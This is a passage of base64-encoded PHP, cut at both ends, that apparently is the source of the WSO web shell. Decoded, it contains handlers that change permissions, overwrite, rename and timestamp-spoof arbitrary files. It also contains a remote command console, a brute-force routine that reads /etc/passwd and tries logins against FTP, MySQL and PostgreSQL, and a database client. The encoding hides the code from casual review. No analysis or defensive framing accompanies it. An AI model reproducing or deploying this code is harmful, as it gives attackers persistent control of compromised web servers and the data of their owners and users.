ZvbnQgJywnPC9mb250PicpLCRjb2RlKS4nPC9kaXY+JzsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgJ2NobW9kJzoKICAgICAgICAgICAgICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwZXJtcyA9IDA7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yKCRpPXN0cmxlbigkX1BPU1RbJ3AzJ10pLTE7JGk+PTA7LS0kaSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwZXJtcyArPSAoaW50KSRfUE9TVFsncDMnXVskaV0qcG93KDgsIChzdHJsZW4oJF9QT1NUWydwMyddKS0kaS0xKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoIUBjaG1vZCgkX1BPU1RbJ3AxJ10sICRwZXJtcykpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICdDYW5cJ3Qgc2V0IHBlcm1pc3Npb25zITxicj48c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgY2xlYXJzdGF0Y2FjaGUoKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+PGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLG51bGwsdGhpcy5jaG1vZC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNobW9kIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3AxJ10pKSwtNCkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAnZWRpdCc6CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCAhaXNfd3JpdGFibGUoJF9QT1NUWydwMSddKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJ0ZpbGUgaXNuXCd0IHdyaXRlYWJsZSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aW1lID0gQGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDMnXSA9IHN1YnN0cigkX1BPU1RbJ3AzJ10sMSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwidyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQGZ3cml0ZSgkZnAsJF9QT1NUWydwMyddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBmY2xvc2UoJGZwKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJ1NhdmVkITxicj48c2NyaXB0PnAzXz0iIjs8L3NjcmlwdD4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQHRvdWNoKCRfUE9TVFsncDEnXSwkdGltZSwkdGltZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICdcJyxudWxsLFwnMVwnK3RoaXMudGV4dC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIG5hbWU9dGV4dCBjbGFzcz1iaWdhcmVhPic7CiAgICAgICAgICAgICAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKCAhQGZlb2YoJGZwKSApCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBmY2xvc2UoJGZwKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgJ2hleGR1bXAnOgogICAgICAgICAgICAgICAgICAgICAgICAkYyA9IEBmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ3AxJ10pOwogICAgICAgICAgICAgICAgICAgICAgICAkbiA9IDA7CiAgICAgICAgICAgICAgICAgICAgICAgICRoID0gYXJyYXkoJzAwMDAwMDAwPGJyPicsJycsJycpOwogICAgICAgICAgICAgICAgICAgICAgICAkbGVuID0gc3RybGVuKCRjKTsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yICgkaT0wOyAkaTwkbGVuOyArKyRpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhbMV0gLj0gc3ByaW50ZignJTAyWCcsb3JkKCRjWyRpXSkpLicgJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzd2l0Y2ggKCBvcmQoJGNbJGldKSApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgMDogICRoWzJdIC49ICcgJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlIDk6ICAkaFsyXSAuPSAnICc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAxMDogJGhbMl0gLj0gJyAnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgMTM6ICRoWzJdIC49ICcgJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZWZhdWx0OiAkaFsyXSAuPSAkY1skaV07IGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbisrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkbiA9PSAzMikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG4gPSAwOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRpKzEgPCAkbGVuKSB7JGhbMF0gLj0gc3ByaW50ZignJTA4WCcsJGkrMSkuJzxicj4nO30KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoWzFdIC49ICc8YnI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoWzJdIC49ICJcbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTUgYmdjb2xvcj0jMjIyMjIyPjx0cj48dGQgYmdjb2xvcj0jMzMzMzMzPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogbm9ybWFsOyI+PHByZT4nLiRoWzBdLic8L3ByZT48L3NwYW4+PC90ZD48dGQgYmdjb2xvcj0jMjgyODI4PjxwcmU+Jy4kaFsxXS4nPC9wcmU+PC90ZD48dGQgYmdjb2xvcj0jMzMzMzMzPjxwcmU+Jy5odG1sc3BlY2lhbGNoYXJzKCRoWzJdKS4nPC9wcmU+PC90ZD48L3RyPjwvdGFibGU+JzsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICdyZW5hbWUnOgogICAgICAgICAgICAgICAgICAgICAgICBpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoIUByZW5hbWUoJF9QT1NUWydwMSddLCAkX1BPU1RbJ3AzJ10pKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnQ2FuXCd0IHJlbmFtZSE8YnI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsIicudXJsZW5jb2RlKCRfUE9TVFsncDMnXSkuJyIsbnVsbCwiIik8L3NjcmlwdD4nKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsXCcnIC4gdXJsZW5jb2RlKCRfUE9TVFsncDEnXSkgLiAnXCcsbnVsbCx0aGlzLm5hbWUudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1uYW1lIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICd0b3VjaCc6CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGltZSA9IHN0cnRvdGltZSgkX1BPU1RbJ3AzJ10pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR0aW1lKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZighdG91Y2goJF9QT1NUWydwMSddLCR0aW1lLCR0aW1lKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnRmFpbCEnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICdUb3VjaGVkISc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIGVjaG8gJ0JhZCB0aW1lIGZvcm1hdCEnOwogICAgIC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ICAgICAgICAgICAgICBvYl9zdGFydCgpOwogICAgICAgICAgICAgICAgZWNobyAiZC5jZi5jbWQudmFsdWU9Jyc7XG4iOwogICAgICAgICAgICAgICAgJHRlbXAgPSBAaWNvbnYoJF9QT1NUWydjaGFyc2V0J10sICdVVEYtOCcsIGFkZGNzbGFzaGVzKCJcbiQgIi4kX1BPU1RbJ3AxJ10uIlxuIi53c29FeCgkX1BPU1RbJ3AxJ10pLCJcblxyXHRcXCdcMCIpKTsKICAgICAgICAgICAgICAgIGlmKHByZWdfbWF0Y2goIiEuKmNkXHMrKFteO10rKSQhIiwkX1BPU1RbJ3AxJ10sJG1hdGNoKSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZihAY2hkaXIoJG1hdGNoWzFdKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHTE9CQUxTWydjd2QnXSA9IEBnZXRjd2QoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJjXz0nIi4kR0xPQkFMU1snY3dkJ10uIic7IjsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWNobyAiZC5jZi5vdXRwdXQudmFsdWUrPSciLiR0ZW1wLiInOyI7CiAgICAgICAgICAgICAgICBlY2hvICJkLmNmLm91dHB1dC5zY3JvbGxUb3AgPSBkLmNmLm91dHB1dC5zY3JvbGxIZWlnaHQ7IjsKICAgICAgICAgICAgICAgICR0ZW1wID0gb2JfZ2V0X2NsZWFuKCk7CiAgICAgICAgICAgICAgICBlY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOwogICAgICAgICAgICAgICAgZXhpdDsKICAgICAgICB9CiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQogICAgICAgICAgICAgICAgV1NPc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4JywgMCk7CiAgICAgICAgd3NvSGVhZGVyKCk7CiAgICBlY2hvICI8c2NyaXB0PgppZih3aW5kb3cuRXZlbnQpIHdpbmRvdy5jYXB0dXJlRXZlbnRzKEV2ZW50LktFWURPV04pOwp2YXIgY21kcyA9IG5ldyBBcnJheSgnJyk7CnZhciBjdXIgPSAwOwpmdW5jdGlvbiBrcChlKSB7CiAgICAgICAgdmFyIG4gPSAod2luZG93LkV2ZW50KSA/IGUud2hpY2ggOiBlLmtleUNvZGU7CiAgICAgICAgaWYobiA9PSAzOCkgewogICAgICAgICAgICAgICAgY3VyLS07CiAgICAgICAgICAgICAgICBpZihjdXI+PTApCiAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmNmLmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsKICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgY3VyKys7CiAgICAgICAgfSBlbHNlIGlmKG4gPT0gNDApIHsKICAgICAgICAgICAgICAgIGN1cisrOwogICAgICAgICAgICAgICAgaWYoY3VyIDwgY21kcy5sZW5ndGgpCiAgICAgICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmNmLmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsKICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgY3VyLS07CiAgICAgICAgfQp9CmZ1bmN0aW9uIGFkZChjbWQpIHsKICAgICAgICBjbWRzLnBvcCgpOwogICAgICAgIGNtZHMucHVzaChjbWQpOwogICAgICAgIGNtZHMucHVzaCgnJyk7CiAgICAgICAgY3VyID0gY21kcy5sZW5ndGgtMTsKfQo8L3NjcmlwdD4iOwogICAgICAgIGVjaG8gJzxoMT5Db25zb2xlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PGZvcm0gbmFtZT1jZiBvbnN1Ym1pdD0iaWYoZC5jZi5jbWQudmFsdWU9PVwnY2xlYXJcJyl7ZC5jZi5vdXRwdXQudmFsdWU9XCdcJztk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DxzcGFuPlNlcnZlcjo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NlcnZlciddKS4nPGJyPic7CiAgICAgICAgICAgICAgICBpZiggJF9QT1NUWydwcm90byddID09ICdmdHAnICkgewogICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiB3c29CcnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZnAgPSBAZnRwX2Nvbm5lY3QoJGlwLCAkcG9ydD8kcG9ydDoyMSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoISRmcCkgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXMgPSBAZnRwX2xvZ2luKCRmcCwgJGxvZ2luLCAkcGFzcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQGZ0cF9jbG9zZSgkZnApOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkcmVzOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2VpZiggJF9QT1NUWydwcm90byddID09ICdteXNxbCcgKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHdzb0JydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXMgPSBAbXlzcWxfY29ubmVjdCgkaXAuJzonLiRwb3J0PyRwb3J0OjMzMDYsICRsb2dpbiwgJHBhc3MpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBteXNxbF9jbG9zZSgkcmVzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHJlczsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSBlbHNlaWYoICRfUE9TVFsncHJvdG8nXSA9PSAncGdzcWwnICkgewogICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiB3c29CcnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3RyID0gImhvc3Q9JyIuJGlwLiInIHBvcnQ9JyIuJHBvcnQuIicgdXNlcj0nIi4kbG9naW4uIicgcGFzc3dvcmQ9JyIuJHBhc3MuIicgZGJuYW1lPXBvc3RncmVzIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVzID0gQHBnX2Nvbm5lY3QoJHN0cik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQHBnX2Nsb3NlKCRyZXMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkcmVzOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkc3VjY2VzcyA9IDA7CiAgICAgICAgICAgICAgICAkYXR0ZW1wdHMgPSAwOwogICAgICAgICAgICAgICAgJHNlcnZlciA9IGV4cGxvZGUoIjoiLCAkX1BPU1RbJ3NlcnZlciddKTsKICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsndHlwZSddID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHRlbXAgPSBAZmlsZSgnL2V0Yy9wYXNzd2QnKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoIGlzX2FycmF5KCR0ZW1wKSApCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkdGVtcCBhcyAkbGluZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxpbmUgPSBleHBsb2RlKCI6IiwgJGxpbmUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKyskYXR0ZW1wdHM7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiggd3NvQnJ1dGVGb3JjZShAJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJGxpbmVbMF0sICRsaW5lWzBdKSApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN1Y2Nlc3MrKzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGI+Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPC9iPjonLmh0bWxzcGVjaWFsY2hhcnMoJGxpbmVbMF0pLic8YnI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKEAkX1BPU1RbJ3JldmVyc2UnXSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdG1wID0gIiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcigkaT1zdHJsZW4oJGxpbmVbMF0pLTE7ICRpPj0wOyAtLSRpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0bXAgLj0gJGxpbmVbMF1bJGldOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICArKyRhdHRlbXB0czsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoIHdzb0JydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkdG1wKSApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3VjY2VzcysrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCR0bXApOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSBlbHNlaWYoJF9QT1NUWyd0eXBlJ10gPT0gMikgewogICAgICAgICAgICAgICAgICAgICAgICAkdGVtcCA9IEBmaWxlKCRfUE9TVFsnZGljdCddKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoIGlzX2FycmF5KCR0ZW1wKSApCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkdGVtcCBhcyAkbGluZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxpbmUgPSB0cmltKCRsaW5lKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICsrJGF0dGVtcHRzOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoIHdzb0JydXRlRm9yY2UoJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJF9QT1NUWydsb2dpbiddLCAkbGluZSkgKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdWNjZXNzKys7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2xvZ2luJ10pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFycygkbGluZSkuJzxicj4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVjaG8gIjxzcGFuPkF0dGVtcHRzOjwvc3Bhbj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jwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT4nOwogICAgICAgIGVjaG8gJzwvZGl2Pjxicj4nOwogICAgICAgIHdzb0Zvb3RlcigpOwp9CiAKZnVuY3Rpb24gYWN0aW9uU3FsKCkgewogICAgICAgIGNsYXNzIERiQ2xhc3MgewogICAgICAgICAgICAgICAgdmFyICR0eXBlOwogICAgICAgICAgICAgICAgdmFyICRsaW5rOwogICAgICAgICAgICAgICAgdmFyICRyZXM7CiAgICAgICAgICAgICAgICBmdW5jdGlvbiBEYkNsYXNzKCR0eXBlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT50eXBlID0gJHR5cGU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBmdW5jdGlvbiBjb25uZWN0KCRob3N0LCAkdXNlciwgJHBhc3MsICRkYm5hbWUpewogICAgICAgICAgICAgICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoICR0aGlzLT5saW5rID0gQG15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MsdHJ1ZSkgKSByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRob3N0ID0gZXhwbG9kZSgnOicsICRob3N0KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCEkaG9zdFsxXSkgJGhvc3RbMV09NTQzMjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCAkdGhpcy0+bGluayA9IEBwZ19jb25uZWN0KCJob3N0PXskaG9zdFswXX0gcG9ydD17JGhvc3RbMV19IHVzZXI9JHVzZXIgcGFzc3dvcmQ9JHBhc3MgZGJuYW1lPSRkYm5hbWUiKSApIHJldHVybiB0cnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZnVuY3Rpb24gc2VsZWN0ZGIoJGRiKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoQG15c3FsX3NlbGVjdF9kYigkZGIpKXJldHVybiB0cnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZnVuY3Rpb24gcXVlcnkoJHN0cikgewogICAgICAgICAgICAgICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9IEBteXNxbF9xdWVyeSgkc3RyKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gQHBnX3F1ZXJ5KCR0aGlzLT5saW5rLCRzdHIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZnVuY3Rpb24gZmV0Y2goKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRyZXMgPSBmdW5jX251bV9hcmdzKCk/ZnVuY19nZXRfYXJnKDApOiR0aGlzLT5yZXM7CiAgICAgICAgICAgICAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBwZ19mZXRjaF9hc3NvYygkcmVzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGxpc3REYnMoKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC